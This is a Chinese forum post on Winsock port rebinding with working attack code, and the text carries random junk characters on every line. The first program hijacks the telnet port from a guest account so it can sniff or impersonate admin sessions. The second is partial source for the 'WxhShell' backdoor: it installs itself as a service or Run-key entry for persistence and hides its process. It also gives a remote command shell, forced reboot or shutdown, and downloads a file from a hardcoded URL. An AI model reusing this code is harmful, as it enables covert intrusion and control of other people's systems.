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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pCa~:q*85  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `/wXx5n5<  
3/& |Z<f  
  saddr.sin_family = AF_INET; )=aq j@v  
k<f0moxs'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e%{7CR'~TD  
@T.F/Pjhc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8JW0;H<  
zJ ;]z0O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '-G,7!.,r%  
\,:7=  
  这意味着什么?意味着可以进行如下的攻击: 2)n%rvCQ  
Gz8JOl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >s,*=a  
Pl#u ,Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L=s8em]7l  
(5[#?_~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 36.mf_AM  
-(}N-yu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W&Xi &[Ux  
5"q{b1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iU~d2R+  
<8Z%'C6d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "/UPq6  
w> Ft5"z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T:CWxusL  
C)9-{Yp  
  #include gq~`!tW'  
  #include @:!%Z`  
  #include mt e3k=17  
  #include    7Bf4ojKt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HBk5 p>&  
  int main() R\$6_  
  { 40-/t*2Ly  
  WORD wVersionRequested; WFS6N.Ap  
  DWORD ret; %VXIiu[  
  WSADATA wsaData; dPgA~~  
  BOOL val; y6s/S.  
  SOCKADDR_IN saddr; SxC(:k2b;  
  SOCKADDR_IN scaddr; o+R(ux"  
  int err; <!|=_W6  
  SOCKET s; 6Hd^qouid  
  SOCKET sc; G~Y#l@8M+  
  int caddsize; Xa&:Hg<  
  HANDLE mt; :b#5 cMUe  
  DWORD tid;   ~n/:a  
  wVersionRequested = MAKEWORD( 2, 2 ); K:pG<oV|}  
  err = WSAStartup( wVersionRequested, &wsaData ); _qQo}|/q  
  if ( err != 0 ) { :n x;~f  
  printf("error!WSAStartup failed!\n"); SBw'z(U  
  return -1; otP2qAI  
  } )S_ %Ip  
  saddr.sin_family = AF_INET; dQ<e}wtg  
   x}reeqn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ja@ ?.gW  
C|QJQ@bj0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `X`|]mWj  
  saddr.sin_port = htons(23); kYd=DY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rj5)b:c}  
  { #KtV4)(  
  printf("error!socket failed!\n"); P|aSbsk:I<  
  return -1; FOcDBCrOe  
  } Ew9 MWlk  
  val = TRUE; >v%UV:7ap  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ];0:aSi#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >>=v`}  
  { ?/p."N:]H  
  printf("error!setsockopt failed!\n"); 0E&XD&D  
  return -1; RZj06|r8  
  } #P1 ;*m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YeF'r.Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .+^o{b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]d&;QZ#w  
3v<9 Z9O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rO1.8KKJ  
  { N=:xyv  
  ret=GetLastError(); u)ZZ/|  
  printf("error!bind failed!\n"); ['0^gN$:e  
  return -1; vF@.B M>  
  } c;R .rV<  
  listen(s,2); uYc&Q$U  
  while(1) Zo,]Dx  
  { a+\s0Qo<  
  caddsize = sizeof(scaddr); HMR!XF&JjC  
  //接受连接请求 8ZO~=e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W8!8/ IZbN  
  if(sc!=INVALID_SOCKET) +T7FG_  
  { 89A04HX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Szlww  
  if(mt==NULL) _LZ 442  
  { .MRLA G  
  printf("Thread Creat Failed!\n"); iWn7vv/t  
  break; It^_?oiK  
  } F=kiYa}  
  } sZU Ao&  
  CloseHandle(mt); tLx8}@X"  
  } ]}A yDy6C  
  closesocket(s); v8A{ q  
  WSACleanup(); DAd$u1  
  return 0; 9, 792b  
  }   11yS2D   
  DWORD WINAPI ClientThread(LPVOID lpParam) u+8?'ZT,  
  { g|4v>5Y  
  SOCKET ss = (SOCKET)lpParam; Al]z =  
  SOCKET sc; .ZH5^Sv$vp  
  unsigned char buf[4096]; :.\h.H;  
  SOCKADDR_IN saddr; XpOQBXbt  
  long num; {*4Z9.2c*  
  DWORD val; \V.U8asfI  
  DWORD ret; s-xby~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VnMiZAHR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E}=F   
  saddr.sin_family = AF_INET; UIw6~a3E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z[_Gg8e  
  saddr.sin_port = htons(23); YA^g[,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,[Z;"wE  
  { `#N7ym;s@  
  printf("error!socket failed!\n"); a^&3?3   
  return -1; N&lKo}hk  
  } y|Zj M  
  val = 100; 9L9mi<,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *r]#jY4qx  
  { ~wRozV  
  ret = GetLastError(); Z7R+'OC  
  return -1; &,`P%a&k  
  } Aaix? |XN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GpM_ Qp  
  { &rxR"^x\  
  ret = GetLastError(); "mkTCR^]e  
  return -1; ,cFp5tV$  
  } LIHf]+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o>Z+=&BZ@a  
  { L"!BN/i_  
  printf("error!socket connect failed!\n"); yh Ymbu  
  closesocket(sc); gG=E2+=uy  
  closesocket(ss); `{I-E5 x  
  return -1; l,3[hx  
  } 5bKn6O)K  
  while(1) bga2{<VF  
  { :dzam HbX9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -n~VMLd?@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _&m   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -vC?bumR%  
  num = recv(ss,buf,4096,0); Bhrp"l +|  
  if(num>0) :!Tb/1  
  send(sc,buf,num,0); v4Q8RE?  
  else if(num==0) u5FlT3hY.  
  break; = 8%+$vX  
  num = recv(sc,buf,4096,0); bx<7@  
  if(num>0) D}Lx9cL  
  send(ss,buf,num,0); RA+k/2]y!  
  else if(num==0) "$BWP  
  break; 0qV!-i  
  } {GiR-q{t  
  closesocket(ss); 8~|PZ,oZ  
  closesocket(sc); re/l5v,|3  
  return 0 ; Z`b{r;`m8  
  } 1jozM"H7Q  
),)]gw71QW  
[e'Ts#($A  
========================================================== vQ}llA h  
w#,C{6  
下边附上一个代码,,WXhSHELL b=+'i  
?o9g5Z  
========================================================== /P0%4aWu=  
H;$OCDRC  
#include "stdafx.h" aNCIh@m~  
R{hKl#j;>  
#include <stdio.h> f+huhJS5e  
#include <string.h> gI^*O@Q4{b  
#include <windows.h> .gWYKZM  
#include <winsock2.h> UpS`KgF"v  
#include <winsvc.h> PGHl:4`Es!  
#include <urlmon.h> !}^ {W)h[  
y8un&LP  
#pragma comment (lib, "Ws2_32.lib") x*[\$E`v  
#pragma comment (lib, "urlmon.lib") /wL}+  
Y m|zM1qc  
#define MAX_USER   100 // 最大客户端连接数 >%.6n:\rG  
#define BUF_SOCK   200 // sock buffer mPxph>o  
#define KEY_BUFF   255 // 输入 buffer 9_F2nmEv  
9Qb_BNUo  
#define REBOOT     0   // 重启 GKwm %A  
#define SHUTDOWN   1   // 关机 PDo%ob\Ym  
X &6p_Lo  
#define DEF_PORT   5000 // 监听端口 i1 ?H*:]  
/E@|  
#define REG_LEN     16   // 注册表键长度 $R7n1  
#define SVC_LEN     80   // NT服务名长度 ?8n`4yO0  
DxT8;`I%  
// 从dll定义API gX34'<Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }cG!93  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7!`,P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =?3D:k7z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t3b%f`D  
N$H0o+9-Y  
// wxhshell配置信息 ,xrXby|R"  
struct WSCFG { -lm\~VZT3  
  int ws_port;         // 监听端口 0p_/eWww-  
  char ws_passstr[REG_LEN]; // 口令 nj~1y ')  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,\f!e#d  
  char ws_regname[REG_LEN]; // 注册表键名 `Q*L!/K+  
  char ws_svcname[REG_LEN]; // 服务名 `|;R}"R;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;K0kQ<y-Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W@1Nit-R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _d&FB~=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b$+.}&M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0Q=4{*:?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A5zT^!`[  
'tp1|n/1  
}; fNc3&=]]  
#!KbqRt  
// default Wxhshell configuration .Kr?vD^nG  
struct WSCFG wscfg={DEF_PORT, v*1UNXU\  
    "xuhuanlingzhe", K<KyX8$P0  
    1, *.AokY)_a  
    "Wxhshell", 9Bl_t}0  
    "Wxhshell", &'UY V>  
            "WxhShell Service", aO?(ZL  
    "Wrsky Windows CmdShell Service", e/E fWwqt  
    "Please Input Your Password: ", x5k6yHn  
  1, % ^g BDlR^  
  "http://www.wrsky.com/wxhshell.exe", Y0=qn'`.  
  "Wxhshell.exe" T2 0dZ8{y  
    }; ]C-hl}iq  
]%3o"|  
// 消息定义模块 hp!UW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `ej  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2;NIUMAMM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ojzO?z  
char *msg_ws_ext="\n\rExit."; 2![.Kbqa%  
char *msg_ws_end="\n\rQuit."; 6yKr5tH4  
char *msg_ws_boot="\n\rReboot..."; 6e$(-ai  
char *msg_ws_poff="\n\rShutdown..."; wGE:U`  
char *msg_ws_down="\n\rSave to "; cejSGsW6q  
C XZm/^  
char *msg_ws_err="\n\rErr!"; !j6]k^ra  
char *msg_ws_ok="\n\rOK!"; NWSBqL5v   
16[>af0<g  
char ExeFile[MAX_PATH]; 0}k[s+^  
int nUser = 0; ig] * Z  
HANDLE handles[MAX_USER]; `AeId/A4n  
int OsIsNt; `(<XdlOj  
?ZDXT2b~~  
SERVICE_STATUS       serviceStatus; pm,&kE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,L^eD>|j5  
xj iMM>|n  
// 函数声明 !dYkvoQNn  
int Install(void); *?7Ie;)  
int Uninstall(void); DF/p{s1Y3  
int DownloadFile(char *sURL, SOCKET wsh); l. ?R7f  
int Boot(int flag); J_OIU#-B  
void HideProc(void); el39HB$  
int GetOsVer(void); DHJh.Y@H  
int Wxhshell(SOCKET wsl); iTi<X|X  
void TalkWithClient(void *cs); IM}T2\tZ}  
int CmdShell(SOCKET sock); {=j!2v#8~  
int StartFromService(void); a0Cf.[L  
int StartWxhshell(LPSTR lpCmdLine); b40zYH`'{  
5@bLD P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I|,^a|\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2GA6@-u\  
V=BF"S;-'  
// 数据结构和表定义 MOY.$M,1  
SERVICE_TABLE_ENTRY DispatchTable[] = sXkWs2!  
{ 9 W> <m[O  
{wscfg.ws_svcname, NTServiceMain}, 7\'vSHIL  
{NULL, NULL} i2A>T/?{  
}; 9~bje^M  
g= k}6"F~  
// 自我安装 [s"3g\L';  
int Install(void) ~sshhuF  
{ /cUcfe#X  
  char svExeFile[MAX_PATH]; (X@JlAfB  
  HKEY key; ={-\)j  
  strcpy(svExeFile,ExeFile); 0F6^[osqtl  
h #Od tc1)  
// 如果是win9x系统,修改注册表设为自启动 7-.Y VM~R  
if(!OsIsNt) { ?N<* ATC L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oJbD|m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M2_sxibI  
  RegCloseKey(key); .a1WwI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]d}Z2I'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <ZxxlJS)6  
  RegCloseKey(key); k:Sxs+)?1  
  return 0; $R%xeih1fz  
    } pHEhB9_A!  
  } $&Ng*oX  
} mHB*4L  
else { -mOSB(#bo  
A9ia[2[  
// 如果是NT以上系统,安装为系统服务 wGD".CS0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x'@0]f.  
if (schSCManager!=0) tbF>"?FY/  
{ Nt9M$?\P  
  SC_HANDLE schService = CreateService A1zM$ wDU  
  ( :2{6Pa(eg  
  schSCManager, kG/:fP  
  wscfg.ws_svcname, ifl`QZp_  
  wscfg.ws_svcdisp, t6BggO"_u  
  SERVICE_ALL_ACCESS, @*e|{;X]hy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S)of.Nq.;  
  SERVICE_AUTO_START, 3t5`,R1@t  
  SERVICE_ERROR_NORMAL, u;p{&\(]  
  svExeFile, /UTeaM!?"  
  NULL, > $DMVtE0  
  NULL, wd2GKq!  
  NULL, 3r!6Z5P7{'  
  NULL, <61T)7  
  NULL Vrz x;V%  
  ); eTem RNz  
  if (schService!=0) RiqYC3Ka  
  { 9&fS<Hk  
  CloseServiceHandle(schService); A(2_hl-  
  CloseServiceHandle(schSCManager); '8K5=|!J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i,1=5@rw5  
  strcat(svExeFile,wscfg.ws_svcname); ~+}w>jIm{|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S#6{4x4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lxx)l(&  
  RegCloseKey(key); qk;*$Q  
  return 0; <|[G=GA\S!  
    } 5drc8_fZ  
  } @H2c77%  
  CloseServiceHandle(schSCManager); q`_d>l  
} CRf!tsj@  
} F]DRT6)  
iZ % KHqG  
return 1; "{1`~pDj?  
} \fIGMoy!  
AVf'"~?  
// 自我卸载 'g.9 goQ  
int Uninstall(void) YyEW}2  
{ 8+K=3=05#U  
  HKEY key; _jg&}HM  
u :AKp<'  
if(!OsIsNt) { Jn3cU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;[TC`DuNj0  
  RegDeleteValue(key,wscfg.ws_regname); 'QW/TJ=7r  
  RegCloseKey(key); "S)2<tV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <qjNX-|  
  RegDeleteValue(key,wscfg.ws_regname); f#mBMdj  
  RegCloseKey(key); /8(c^  
  return 0; ~XGBE  
  } $Wt0e 4YSu  
} /(Mi2$@v1  
} f.8Jp<S2K  
else { mW~t/$Y$  
|^9+c2   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Z"IM8?  
if (schSCManager!=0) G<n(\85X  
{ JLo'=(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s+IU%y/9$a  
  if (schService!=0) XCr\Y`,Z@  
  { gv)F`uRWA  
  if(DeleteService(schService)!=0) { 4Gz5Ju  
  CloseServiceHandle(schService); w/_n$hX  
  CloseServiceHandle(schSCManager); VQ wr8jXye  
  return 0; Cq\1t  
  } !wP |t#Sc9  
  CloseServiceHandle(schService); =OY&;d!C  
  } )Dn~e#  
  CloseServiceHandle(schSCManager); 5'iJN$7  
} mBW E^  
} hLF+_{\C|  
0zH^yx:ma  
return 1; !;Hi9,<#7g  
} &"X6s%ZH|  
4cZig\mE;  
// 从指定url下载文件 w1Ar[ P  
int DownloadFile(char *sURL, SOCKET wsh) },1**_#<Br  
{ vn oI.;H,  
  HRESULT hr; :(IP rQ  
char seps[]= "/"; _<Hx1l~  
char *token; R}~p1=D  
char *file; WH:[Y7D  
char myURL[MAX_PATH]; fpMnA  
char myFILE[MAX_PATH]; b-Fv vA  
85;hs  
strcpy(myURL,sURL); W?+U%bIZ9  
  token=strtok(myURL,seps); Xxl>,QUA  
  while(token!=NULL) )HZUCi/F]  
  { \=n0@1Q=>  
    file=token; O<}^`4d  
  token=strtok(NULL,seps); /WIO@c  
  } Z)iRc$;  
s=)0y$  
GetCurrentDirectory(MAX_PATH,myFILE); do3 BI4Q  
strcat(myFILE, "\\"); [h"#Gwb=;  
strcat(myFILE, file); >Hh8K<@NL  
  send(wsh,myFILE,strlen(myFILE),0); E>_?9~8Mf  
send(wsh,"...",3,0);  }qf9ra  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t<`h(RczHI  
  if(hr==S_OK) In1VW|4h  
return 0; - 0t  
else XD1 x*#  
return 1; 9`[#4'1Mik  
,p(4OZz5,  
} sU7>q}!  
&5 *)r@+  
// 系统电源模块 F[aow$",+}  
int Boot(int flag) ?(8z O"  
{ 8 I'1~d%$  
  HANDLE hToken; _ F0qq j  
  TOKEN_PRIVILEGES tkp; Dq T)%a  
R'E8>ee; ^  
  if(OsIsNt) {  eiLtZQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .aRL'1xHl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U3ygFW%  
    tkp.PrivilegeCount = 1; zs+[Aco)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; apW0(&\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [V#"7O vl  
if(flag==REBOOT) { Q:iW k6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4SG22$7W  
  return 0; !U02>X   
} +B*8$^,V)  
else { >$.u|a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q@3.0Hf|{  
  return 0; Lh=~3  
}  ]Ll <  
  } Q]*YIb~D  
  else { C,C=W]G  
if(flag==REBOOT) { DdI7%?hK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !'14mN#A  
  return 0; DSwF }  
} h]Zc&&+8{  
else { $s2-O!P?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z$R2Z$f  
  return 0; {HqwpB\@  
} Df_W>QC  
} &`7~vA&c  
':,6s  
return 1; )k&pp^q\  
} 2|k*rv}l  
l3aG#4jj  
// win9x进程隐藏模块 X$JO<@x  
void HideProc(void) zIbl[[M&  
{ /,v:!*  
@C=, >+D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h3;Ij'  
  if ( hKernel != NULL ) PMZdz>>T  
  { VGcl)fIqw?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D} 0>x~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ v3+w"2  
    FreeLibrary(hKernel); Y51XpcXQ  
  } PiB)pUYj  
}\u~He%  
return; TJY$<:  
} 98C~%+  
[Hdk=p  
// 获取操作系统版本 K. G#[  
int GetOsVer(void) Y=G *[G#  
{ -b@E@uAX /  
  OSVERSIONINFO winfo; 1elx~5v1.=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fc}wu W  
  GetVersionEx(&winfo); 9\)NFZ3Mz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8O{]ML  
  return 1; :0T]p"y4  
  else ?HIc=  
  return 0; `n-e.{O((  
} u2<:mu[|P  
Oe9{`~  
// 客户端句柄模块 ;lGa.RD[a  
int Wxhshell(SOCKET wsl) d$rJW m5H  
{ KHr8\qLH  
  SOCKET wsh; 1jmhh !,  
  struct sockaddr_in client; jTw s0=F*  
  DWORD myID; wri[#D {  
RA[` Cp"  
  while(nUser<MAX_USER) !w f N~.Y  
{ UO"8 I2rB  
  int nSize=sizeof(client); 5d}PrYa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "4"\tM(  
  if(wsh==INVALID_SOCKET) return 1; S=aXmz<  
~Y)Au?d(a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qe(X5 ?#;  
if(handles[nUser]==0) `j>qOT  
  closesocket(wsh); <O$'3 _S"D  
else l%Sz6  
  nUser++; tzpGKhrk6  
  } wX 41R]pF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N 5/TV%u  
$ O!f*lG  
  return 0; @YwaOc_%  
} D~f.)kkC4  
-I=}SZ  
// 关闭 socket ">fgoDQ  
void CloseIt(SOCKET wsh) QHs=Zh;"  
{ ciC4V^f  
closesocket(wsh); qC\$>QU}  
nUser--; SO p%{b  
ExitThread(0); e^'?:j  
} *7*g! km  
\f66ipZK*  
// 客户端请求句柄 bf;IJ|v^  
void TalkWithClient(void *cs) 4kXx(FE  
{ 1Y9Ye?~jd  
{bETHPCf  
  SOCKET wsh=(SOCKET)cs; %aw/Y5  
  char pwd[SVC_LEN]; tDN-I5q  
  char cmd[KEY_BUFF]; !y] Y'j  
char chr[1]; ZQBo|8*  
int i,j; )%j)*Ymz;  
]Vwky]d  
  while (nUser < MAX_USER) { Zt!l3(*tt  
dN*<dz+4r  
if(wscfg.ws_passstr) { +}+hTY$a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WZ&#O#(eO`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r LfS9H  
  //ZeroMemory(pwd,KEY_BUFF); Fah}#,  
      i=0; "\_}"0 H  
  while(i<SVC_LEN) { M.OWw#?p:_  
5 h{Hf]A  
  // 设置超时 LnJ7i"Q  
  fd_set FdRead; coLn};W2  
  struct timeval TimeOut; 0>e>G(4(8  
  FD_ZERO(&FdRead); 8=nm`7(]  
  FD_SET(wsh,&FdRead); }p- %~ Y  
  TimeOut.tv_sec=8; 5Rec}H  
  TimeOut.tv_usec=0; RmNF]"3%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vY;Lc   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JR<R8+@g_  
PPq*_Cf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ptDA))7M/  
  pwd=chr[0]; uk'<9g^  
  if(chr[0]==0xd || chr[0]==0xa) { Cz a)s  
  pwd=0; 9hguC yr@h  
  break; ~r>UjC_ B:  
  } fGe{7p6XV*  
  i++; i'5bPW  
    } 2Qk\}KWs  
(/KF;J^M  
  // 如果是非法用户,关闭 socket &0C!P=-p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i{e<kKh  
} (Iq\+@xE=  
v'@LuF'e8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^#t<ILUa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SQ1&n;M}f  
sIy$}_  
while(1) { AMm O+E?  
v Cmh3TQ  
  ZeroMemory(cmd,KEY_BUFF); Fh/C{cX9g  
cXCczqabv  
      // 自动支持客户端 telnet标准   oaXD^ H\  
  j=0; sO6t8)$b  
  while(j<KEY_BUFF) { C9iG`?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `fV$'u  
  cmd[j]=chr[0]; #62ww-E~  
  if(chr[0]==0xa || chr[0]==0xd) { T a[74;VO  
  cmd[j]=0; <A&R%5Vs  
  break; *oWzH_  
  } =N0cz%  
  j++; =~S   
    }  Uh8ieb  
Q$zlxn 7\  
  // 下载文件 vSL{WT]m  
  if(strstr(cmd,"http://")) { h/VYH(Tj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CFA>  
  if(DownloadFile(cmd,wsh)) R"=M5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |V7a26h  
  else (1HN, iJy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X5yhS  
  } MtB:H*pM  
  else { 1lQ1 0J  
b>(l F%M  
    switch(cmd[0]) { Dm^kuTIG  
  f:0n-me  
  // 帮助 n%0vQ;Z1  
  case '?': { _t[%@G>P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Yf0y;e|:  
    break; l85" C  
  } w#$k$T)  
  // 安装 J|q_&MX/  
  case 'i': { mNY z7N  
    if(Install()) _L72Ae(_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xd.C&Dx5  
    else ?(=B=a[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e+WVN5"ID>  
    break; )5v .9N 6v  
    } cA\W|A)  
  // 卸载 l{AT)1;^  
  case 'r': { ;Vy'y  
    if(Uninstall()) 0Q9OQqg m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ouzeu9}  
    else c2f$:XiM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &40]sxm  
    break; b#U%aPH  
    } $F%?l\7j  
  // 显示 wxhshell 所在路径 ,m8*uCf  
  case 'p': { "F}Ip&]hAG  
    char svExeFile[MAX_PATH]; Oe!&Jma*>  
    strcpy(svExeFile,"\n\r"); h:NXO'  
      strcat(svExeFile,ExeFile); !;a<E:  
        send(wsh,svExeFile,strlen(svExeFile),0); i5"q1dRQ  
    break; 19t*THgq  
    } c%!wKoD  
  // 重启 |{K:.x#^  
  case 'b': { 8gxLL59  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q}i87a;m  
    if(Boot(REBOOT)) OXB-.<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/zj7z !  
    else {  B" z5j  
    closesocket(wsh); hH/ O2  
    ExitThread(0); g1|c?#fwo  
    } hdL2`5RFF  
    break; MO/N*4U2  
    } n}?G!ySg  
